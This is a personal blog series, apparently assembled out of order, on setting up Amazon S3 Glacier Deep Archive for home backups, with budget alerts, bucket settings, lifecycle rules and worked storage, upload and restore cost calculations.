  • Once the size of the files marked for upload exceeds the chunk size (256 MiB):
    • Generate a tarball named YYYYMMDD-HHMMSS-0000iii.tar (date, time, and an increasing index i) and upload the tarball to S3.
    • Generate the database file YYYYMMDD-HHMMSS-0000iii.json and upload it.
      • (We do it in this order as a lone tarball without corresponding database would have no impact apart from a little bit of lost storage.)
    • Continue processing files.
• Generate a report csv file and upload it to S3.

Again, I’m not ane expert, but this seems to work for me and my use case. I went through these steps manually in the Amazon web console UI, it’s of course possible to automate this. Maybe for another time.

Budget

First of all, let’s avoid disasters. The first thing I setup after creating the AWS account is a budget with low values, so I get alerts in case I accidentally use more storage than I planned to.

Under “Billing and Cost Management”, I setup a Budget with the following parameters: “Monthly”, “Recurring budget”, “Fixed”, $1.00, for all Amazon services.

I then setup 2 alerts, each for $0.01, one on “Actual” cost, and the other on “Forecasted” cost, with my email as recipient.

The numbers are of course too low, the idea is to slowly increase those when I get a good grasp on actual total costs.

Also note that, those are just alerts, and, at least to my understanding, there is no way to set hard limits: you can totally blow through your budget. Be careful, upload things slowly to make sure your computations are correct.

IAM identities

As root, I created 2 user accounts:

• One with console access and at least “AmazonS3FullAccess” permission (“interactive” user)
• Another without console access that I would use for a command line tool I’ll describe in the future (“bot” user), also with “AmazonS3FullAccess”.

You can then logout from the web console, and login again as the “interactive” user.

S3 bucket configuration

Now it’s time to create a S3 storage bucket. Find the “S3” service in the web console, and press “Create Bucket”. Make sure you’re in the correct zone before starting (us-east-1 is cheap). Pick a good name, you can’t change it. Default settings are reasonable: you want to create a “General purpose” bucket, with “ACLs disabled” and “Block all public access” set.

I decided to enable Bucket Versioning, as an extra layer of safety. In this mode, S3 will keep old versions of the files if they get overwritten or deleted. However, you will still be charged for older versions of the files, but there are rules you can setup to auto-expire non-current objects, see below.

I left Encryption to the default (SSE-S3), and disabled object lock.

Lifecycle rules for versioned bucket

If you enabled bucket versioning, you probably want to create a lifecycle rule to expire older versions of the objects. This can be done in “Management” => “Create lifecycle rule”:

Pick a good name like “delete-noncurrent”, “Apply to all objects in the bucket”. As actions, pick “Permanently delete noncurrent versions of objects” and “Delete expired object delete markers or incomplete multipart uploads”.

For the first action (“Permanently delete”), I chose 7 days and 0 versions (you can keep the field empty). For the second action (“multipart uploads”), I ticked both boxes (“Delete expired object delete markers” and “Delete incomplete multipart uploads”), again, with 7 days.

Storage lens

It’s useful to look at the dashboard in Storage lens from time to time, that’s how I realized I had a bunch of non-current objects that I was being charged for (but could be deleted).

For some reason, that cannot be accessed from the root user (only from a normal user).

Email notifications for restore events

As restoring from Glacier takes 12-48h, it’s useful to setup an email notification when the data is ready.

First, go to “Simple Notification Service”, create a new topic, “Standard”, then leave all the settings as default. In your topic, create a new “Email” subscription with your email address, confirm it in the email your receive.

Then, back to S3, in your bucket, setup an “Event notification” for “All restore object events”, attach it to the “SNS Topic” that you just created.

The email notifications are not-so-pretty JSON-formatted, but at least you get informed when restoration is complete.

Update (July 15, 2024): Increased recommended average size from 128MB to 256 MB, taking into account multipart upload cost.

First, you need to chose your zone carefully. us-east-1 (N. Virginia) seems to be cheapest. I do not care too much about locality as I only plan to backup and restore fairly infrequently.

The cost of storage, backup, and restore operations depends a lot on the average file size. I found that keeping the average size above 256 MB is a good tradeoff (lower overhead cost, while allowing finer grain restore operations).

It goes without saying this is provided without guarantee, please double check my numbers.

Storage cost

To quote the pricing page:

For each object that is stored in the […] S3 Glacier Deep Archive storage classes, AWS charges for 40 KB of for index and metadata with 8 KB charged at S3 Standard rates and 32 KB charged at […] S3 Deep Archive rates.

For example, to store 1 TB, with an average file size of 1 MB, the storage cost per month will look like this:

• Number of files: 1 TB / 1 MB = 1048576
• Actual S3 Glacier Deep data: 1 TB * $0.00099 / GB = $1.01376
• S3 Glacier Deep overhead: 1048576 * 32 KB * $0.00099 / GB = $0.03168
• S3 Standard overhead: 1048576 * 8 KB * $0.023 / GB = 0.184$
• Total cost: $1.23 / TB / month

From around 128MB, the overhead cost becomes totally negligible.

Backup cost (upload)

Backing up the data also comes at a cost, due to the cost of PUT operations. As usual with cloud providers, ingress bandwidth is free.

For example, for 1 TB of 128 MB files:

• Number of files: 1 TB / 128 MB = 8192.
• Operation cost: 8192 * $0.05 / 1000 requests = $0.41 / TB
• Bandwidth cost: 1 TB * $0 / GB = $0
• Total cost: $0.41 / TB

This is where using big files saves a lot. 1 MB files would cost a whopping $52.43/TB to upload.

Multipart upload (added July 15, 2024)

There’s one more thing to consider. To speed up the upload process, it is common to upload using multiple connections and upload files in chunks.

Multipart upload is documented here. We can ignore the cost of storing multipart parts during the operations (that would be short), but the operations cost is still significant:

Both CreateMultipartUpload and UploadPart are billed at S3 Standard rates […] with only the CompleteMultipartUpload request charged at S3 Glacier > Deep Archive rates.

The default boto3 transfer configuration will upload the data in chunks of 8 MB. In this case (1 TB of 128MB files again):

• Number of files: 1 TB / 128 MB = 8192.
• Number of chunks: 1TB / 8 MB = 131072
• Operations: 8192 * $0.005 / 1000 = $0.041 / TB (CreateMultipartUpload, 1/file)
• Operations: 131072 * $0.005 / 1000 = $0.66 / TB (UploadPart, 1/chunk)
• Operations: 8192 * $0.05 / 1000 = $0.41 / TB (CompleteMultipartUpload, 1/file)
• Bandwidth: 1 TB * $0 / GB = $0
• Total cost = $1.11 / TB

This is a significantly increased cost.

If I want to stay near the default number of connection (10), I need at least 8 chunks per file:

• 128 MB files, 16MB chunks: $0.78 / TB
• 256 MB files, 32MB chunks: $0.39 / TB
• 512 MB files, 64MB chunks: $0.19 / TB
• 1 GB files, 64MB chunks: $0.097 / TB

I think 256MB is a good tradeoff (less than half a month of storage cost to upload the data).

Restore cost (download)

Restoring the data also cost money. The first step will be to retrieve the object from “Deep Glacier” to “Standard”.

There are 2 retrieval options: Standard and Bulk. Standard is much more expensive (~10x), but faster (12h vs 48h)

The web UI (and also the API) allows you to select how many days to keep the data in Standard storage, which you will be charged for. Of course, you need to set a long enough number of days so that you have time to download the data.

AWS Web UI restore interface

Also, egress bandwidth is charged, but the first 100GB/month are free, so if you only restore a small amount of data, or if you willing to wait many months, costs can be limited.

For example, for 1 TB of 128 MB files:

• Number of files: 1 TB / 128 MB = 8192.
• Retrieval cost/operation: 8192 * $0.025 / 1000 requests = $0.20 / TB
• Retrieval cost/GB: 1 TB * $0.0025 / GB = $2.56 / TB
• S3 standard storage cost (7 days): 1 TB * $0.023 / GB * 7/30 = $5.50 / TB
• Bandwidth cost: 1 TB * $0.09 / GB = $92.16
• Total cost: $100.42 / TB
  • Total cost for the first 100 GB: $0.81 / 100 GB (no bandwidth cost)

Here, the cost is heavily dominated by the egress bandwidth cost, if one can keep under the 100GB / month bandwidth, the price becomes a lot more interesting.

Standard restore is about 4 times pricier if bandwidth does not need to be paid for. If not, it’s only a smaller 20% price increase.

Assuming no bandwidth cost, restoring a single 128MB file costs 0.001$ with Bulk restore, and 0.004$ with Standard restore: if only a few files need to be restored the costs are negligible anyway and there is no reason to use the slower Bulk restore.

Calculator

Again, it goes without saying this is provided without guarantee, please double check my numbers.

• Average file size: MB
• Multipart upload chunk size: MB
• Cost (prefilled with us-east-1, N. Virgnia, as of July 2024)
  • S3 Standard: $/GB/month
  • S3 Glacier Deep Archive: $/GB/month
  • PUT, COPY, POST, LIST requests (Standard): $/1000 operations
  • PUT, COPY, POST, LIST requests (Deep Archive): $/1000 operations
  • Retrieval (Deep Archive, Bulk): $/1000 operations
  • Retrieval (Deep Archive, Bulk): $/GB
  • Retrieval (Deep Archive, Standard): $/1000 operations
  • Retrieval (Deep Archive, Standard): $/GB
  • Bandwidth: $/GB
    • Free bandwidth: GB / month

Recompute (changing price also updates graphs above)

__CALCULATOR_OUTPUT__

Update (August 15, 2024): Corrected the fact that Google Cloud does have a similar product (but it’s a little pricer).

Rationale

A lot of the data I’d like to backup is fairly old, and in all likelihood I’ll never want to restore it.

I’d also like to become better at disaster recovery, by semi-regularly backing up Google-backed content (Drive, gmail, etc.), to protect against unlikely cases of account theft or lockdown, and generally increase redundancy.

Photos storage is another complicated case, and the main reason I started looking into this. I store all of my pictures and videos in Google Photos. However, size keeps creeping up, and at some point I’ll need to buy more and more storage for them. It’s handy to be able to search through old photos, but truth is, I almost never need the highest possible resolution. I would be fine with keeping a lower resolution copy (e.g. “Storage Saver”) in Google photos, as long as I have a backup of the higher resolution picture somewhere. I’ll go through this use case in a future article.

Storing backups to (multiple) external hard drive is fine, and I did that as well, but it would be nice to have a secondary copy in the cloud in case of disaster (say, fire, flood, theft, or if an issue happens during extended travel, where I do not have my hard drives with me).

Amazon S3 Glacier

This is where cloud “Glacier” storage kicks in. Basically, this is a cheap class of storage class for rarely fetched files.

Cost-wise, Google Drive is about 10 USD/month for 2TB, but you pay that amount regardless of actual usage, and you have to jump to a much pricier plan if you go above 2TB. I also wanted to spread data over multiple providers, so this is not a great option.

“Normal” Amazon S3 storage costs about 23 USD/month/TB (us-east), charged on what you use only.

“Glacier Deep Archive” is about 1 USD/month/TB, so that’s about 5-20 time cheaper than alternatives. (note: I believe Microsoft Azure has a similar product, similarly priced – Google Cloud’s is a little bit more expensive).

That comes with a bunch of caveats though:

• Restore process takes 12-48 hours. That’s ok for my use case, I’d only infrequently access the data.
• Storing and restoring small files can be very expensive. It is much cheaper to store large objects (e.g. larger than 256MB on average). I’ll need to figure out a system to store photos.
• Unlike Google Drive, operations are charged. In particular, egress bandwidth from cloud to Internet, during restore operations, is fairly expensive, and dominates the costs (ingress is free).
  • Overall, it very cheap to upload to storage (~1 USD/TB for large files).
  • Downloading is pricy (~100 USD/TB), due to bandwidth charges. However, Amazon gives you 100 GB of bandwidth per month for free. If you one can stay under that, restoring can cost less than 1 USD for those 100 GB.
    • This is also ok for me. I’m ok to pay the price in case of a serious disaster, while being able to fetch a good number of files for a cheap price.
• Files deleted before 180 days still get charged for 180 days. Fine by me.

In the next post, I’ll go through the details of costs (storage, backup, and restore).